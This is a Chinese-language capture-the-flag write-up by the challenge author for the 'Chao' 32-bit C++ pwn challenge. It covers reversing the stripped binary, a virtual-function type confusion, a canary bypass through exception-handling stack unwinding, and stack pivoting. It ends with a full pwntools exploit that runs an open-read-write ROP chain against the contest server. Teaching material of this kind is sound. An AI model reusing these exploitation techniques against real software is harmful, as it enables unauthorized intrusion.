NepnepxCATCTF Pwn-Chao WriteUp

Chao's WriteUp

前言

首先,祝各位师傅们元旦快乐,2023新的一年挖洞如喝水,拿shell拿到手软!

其实,这个题我自己也没感觉很难,更没想到在这次CATCTF跨年赛上能坚挺到最后,成为Pwn方向唯一一个零解的题,应该是师傅们都忙着跨年陪对象了呜呜呜。如果有师傅在这题上花了太多时间,影响了新年的好心情,winmt在此跪下QAQ

本题在漏洞挖掘方面,考察了去除符号表的C++程序逆向恢复 以及 C++中常见的由虚函数引起的类型混淆漏洞。本题代码量并不大,虽然去除了符号表,但是逆向思路整体还是比较清晰的。弄清逻辑后,类型混淆漏洞应该也不难发现。主要考察点在漏洞利用方面,很容易发现有栈溢出,但是并不好利用,此处需要了解C++异常处理的栈回退机制。关于C++异常机制的Pwn题其实很早就出现过,也并不新奇,但是本题在catch到异常后,直接退出了程序,也不好绕过canary保护,无法栈溢出。不过可调试发现,能够通过栈溢出劫持到异常处理中调用的函数指针,继而通过栈迁移完成利用。

下面给各位师傅们呈上本题的WriteUp,对本题有任何其他想法的师傅,也都欢迎找我一起交流~

比赛平台:

https://adworld.xctf.org.cn/match/list?event_hash=040fa71a-6c75-11ed-ab28-000c29bc20bf

题目下载:

https://files.cnblogs.com/files/blogs/705204/chao.zip?t=1698412257&download=true

逆向分析

  1. 本题是一道32位的C++ Pwn题,并且保护全开、去除了符号表。因此,需要先找到类的虚表,方便之后对类的逆向恢复:

image

  1. 通过start找到main函数之后,发现直接反编译会有问题(疑似IDA的bug),将报错的0x1FF5处(cout的一部分)nop掉即可成功反编译main函数:

image

  1. 可以看到本题开启了沙盒,不过由于其他考点较多,就没有在沙盒考察上增加难度了,只禁用了execve:

image

  1. 创建功能:最多创建10次,每次可以创建0和1两种对象存放数据,数据的大小不能超过0x100。
    (1)创建类型为0的对象,首先申请一个堆块,将Class_one的虚表地址放在堆块头,输入的内容长度存在偏移0x4的位置,输入的内容通过strdup申请的指针存放在0x8的位置。需要注意的是,strdup调用了strlen获取长度,因此输入的内容相当于会被\x00截断

image

(2)创建类型为1的对象,同样会申请一个堆块,将Class_two的虚表地址放在堆块头,输入的内容长度存在偏移0x4的位置,不过还会又创建一个对象,在该对象中存放输入内容的长度以及通过strdup为输入的内容申请的堆块地址,并将该对象存放在为Class_two创建的堆块偏移0x8的位置。

image

image

  1. 更新功能:不论是Class_one还是Class_two的对象,都会调用sub_2290函数。在sub_2290函数中,会释放掉偏移为0x8处的堆块,更新长度,并通过strdup为新输入的内容产生新的堆块存放在偏移0x8处。此处存在一个类型混淆漏洞:sub_2290函数明显只是针对Class_one的操作,而Class_two更新的时候也会调用这个函数,故产生了类型混淆,可利用此处漏洞控制size和buf地址

image

  1. 输出功能:均会调用sub_22EA函数,其中获取size的时候,会分布调用Class_one和Class_two各自虚表中的相应函数:

image

其中,Class_one会用strlen获取偏移为0x8处的buf的长度,而Class_two会获取偏移为8处的对象中开头的size,这更呼应了上一点的类型混淆漏洞的可利用性。

image

这里之后调用alloca动态分配栈,分配的大小是size+10,然后首先strcpy到栈上"Content: "字符串9个字节,再将需要输出的内容从对象中的buf区域(这里与上面获取size类似,Class_one直接获取偏移0x8处的buf,Class_two会获取偏移为8处的对象中偏移为4的buf,可通过类型混淆漏洞利用)strcat到栈上之后的区域(存在缓冲区溢出)。

image

不过,若是strcat之后buf的长度大于length-1(这里可利用计算机补码造成整型溢出),则会用C++异常处理中的throw抛出错误,否则将buf输出出来:

image

  1. C++异常处理的catch部分在0x204C处,会输出Error!并通过exit(-1)结束程序:

image

漏洞利用

  1. 首先,根据逆向分析的结果,存在类型混淆漏洞,可申请Class_two的对象,并通过update功能,任意修改size和buf,并通过display功能,可进行任意地址读,且利用display中的strcat可造成缓冲区溢出

  2. 泄露libc地址:虽然我们可利用类型混淆漏洞进行任意地址读,但是此题保护全开,我们最开始是拿不到任何地址的。由于每次申请的堆块大小不得超过0x100,故需要先将tcache填满,再free到unsorted bin的堆块中就会有libc残留地址。紧接着,布局堆风水(这里需要注意一些细节,此处不赘述了),使得update申请到的堆块的0x4偏移位置是libc的残留地址,其中仍然存放着libc地址(main_arena+0x40),即可得到libc_base

  3. 泄露heap地址:有了libc地址之后,虽然main_arena中有heap地址,不过在display中,当strcat没遇到\x00,就会一直拼接,main_arena附近很长一段都没有\x00,这就会直接乱码栈溢出,导致崩溃。因此,这里利用environ附近有heap段末地址的特性,泄露heap地址(需要注意避开末尾的\x00)。

  4. 泄露PIE地址:在为对象分配的堆中,开头会存放程序中对应的虚表地址,可利用此处泄露PIE地址。当然,在libc或ld中找程序相关地址泄露也是可以的。

  5. 在上面泄露地址的时候(由于是32位的程序,也可通过爆破一位程序地址来泄露,概率1/16),虽然已经尽可能保证拼接的长度小,不会直接乱码栈溢出。不过,仍然可能会超出分配的数组本身的大小,通过C++异常处理throw抛出error。这里可以利用计算机补码,因为比较的时候是与length-1比较的,故可以使length为0,这样减1后根据补码的相关知识,就变成了0xffffffff,即最大的数,就可以绕过异常处理了

  6. 然而,本题是开了canary保护的,虽然我们可以从比如TLS中泄露出canary值,不过canary末两位一定是00,这样如果直接将payload发过去,在strcat的时候会被截断。因此,得另辟蹊径绕过canary保护。注意到这里有一个C++的异常处理,通过栈溢出将返回地址改到try与catch中间的位置(即可被捕获到异常的位置,如下图0x2044处),这样就能跳到catch继续执行了。不过,这里与常规的利用catch栈溢出的思路不同:因为这里catch之后直接exit了,也有canary保护。

image

  1. 当执行到catch中的cxa_begin_catch时,会跳转到ebx+0x1c中的地址:

image

而ebx又是esi赋值过来的,esi是ebp-8中的值,是可控的:

image

此时,若通过缓冲区溢出在ebp写入payload地址-4,ebx+0x1c写入存放着leave; ret的地址,即可栈迁移,绕过canary保护。需要注意的是,当缓冲区溢出执行的时候,会将栈上存放buf和length的指针覆盖掉,这里需要伪造一下,使得其能走到异常处理的throw处。

  1. 这里需要用ORW的payload绕过沙盒,也就需要先将payload写入堆中,再栈迁移跳转过去。然而,此payload中必然会出现\x00,被截断,无法完整地发送过去。因此,这里我们可以先读入gets的payload,跳转执行。再通过gets读入ORW的payload到某可写地址处,再栈迁移过去即可。

  2. 这里还需要考虑到stdin输入缓冲区的性质:当输入缓冲区中开头有\n,则gets/fgets这类走输入缓冲区的函数不会再读入数据(可自行查看相关源码)。因此,我们在之前所有cin读入的操作处,都用空格作为截断符,即可避免这个问题,使gets的payload正常读入数据(会先将输入缓冲区中残留的一个空格符写入到目标地址)。

exp

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')

#io = process("./pwn")
io = remote("223.112.5.156", 51006)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def menu(choice):
    io.sendafter("Please input your choice >> ", str(choice) + " ")

def add(typ, content):
    menu(1)
    io.sendafter("Which type do you want to create?\n", str(typ) + " ")
    io.sendafter("Please enter the content >> ", content + b" ")

def edit(idx, content):
    menu(2)
    io.sendafter("Which one do you want to update?\n", str(idx) + " ")
    io.sendafter("Please enter the new content >> ", content + b" ")

def show(idx):
    menu(3)
    io.sendafter("Which one do you want to display?\n", str(idx) + " ")

add(1, p32(0xdeadbeaf))
for i in range(8) :
	add(0, p32(0xffffffff)*0x20)
for i in range(8) :
	edit(i+1, p32(0xffffffff))
edit(0, p32(0xdeadbeaf)*4)
add(0, p32(0xdeadbeaf))
edit(0, p32(0x111111))
show(0)
main_arena = u32(io.recvuntil(b'\xf7')[-4:]) - 0x40
libc_base = main_arena - (libc.sym['__malloc_hook'] + 0x18)
success("libc_base:\t" + hex(libc_base))

edit(0, p32(0xfffffff6) + p32(libc_base + libc.sym['environ'] + 0x11))
show(0)
io.recvuntil("Content: ")
heap_base = u32(io.recv(3).rjust(4, b'\x00')) - 0x22000 + 0x8
success("heap_base:\t" + hex(heap_base))

edit(0, p32(0xfffffff6) + p32(heap_base + 0x4ba8))
show(0)
io.recvuntil("Content: ")
pie_base = u32(io.recv(4)) - 0x4e0c
success("pie_base:\t" + hex(pie_base))

pop_ebp_ret = libc_base + 0x1a973
leave_ret = libc_base + 0x110226
unwind_ret = pie_base + 0x2044

payload = b'\xff\xff\xff' + p32(0xffffffff)*4 + p32(heap_base + 0x4cd1) + p32(0xffffffff)*2 + p32(heap_base + 0x4c60) + p32(0xffffffff)*2 + p32(heap_base + 0x4ca3 - 0x1c)
payload += p32(heap_base + 0x4c97 - 4) + p32(unwind_ret)
payload += p32(libc_base + libc.sym['gets']) + p32(pop_ebp_ret) + p32(libc_base + libc.sym['__free_hook']) + p32(leave_ret)
edit(0, p32(0xffffffff) + p32(0xffffffff) + payload)
edit(0, p32(0xffffffff) + p32(heap_base + 0x4c60))
show(0)

add_esp_8_ret = libc_base + 0x2fbe9
add_esp_c_ret = libc_base + 0x83d12

orw_rop = b'\xff\xff\xff' + p32(libc_base + libc.sym['open']) + p32(add_esp_8_ret) + p32(libc_base + libc.sym['__free_hook'] + 0x34) + p32(0)
orw_rop += p32(libc_base + libc.sym['read']) + p32(add_esp_c_ret) + p32(3) + p32(libc_base + libc.sym['__free_hook'] + 0x100) + p32(0x50)
orw_rop += p32(libc_base + libc.sym['puts']) + p32(0xdeadbeaf) + p32(libc_base + libc.sym['__free_hook'] + 0x100) + b'./flag\x00'
sleep(0.1)
io.sendline(orw_rop)
io.interactive()
posted @ 2023-01-01 17:02  winmt  阅读(1258)  评论(2编辑  收藏  举报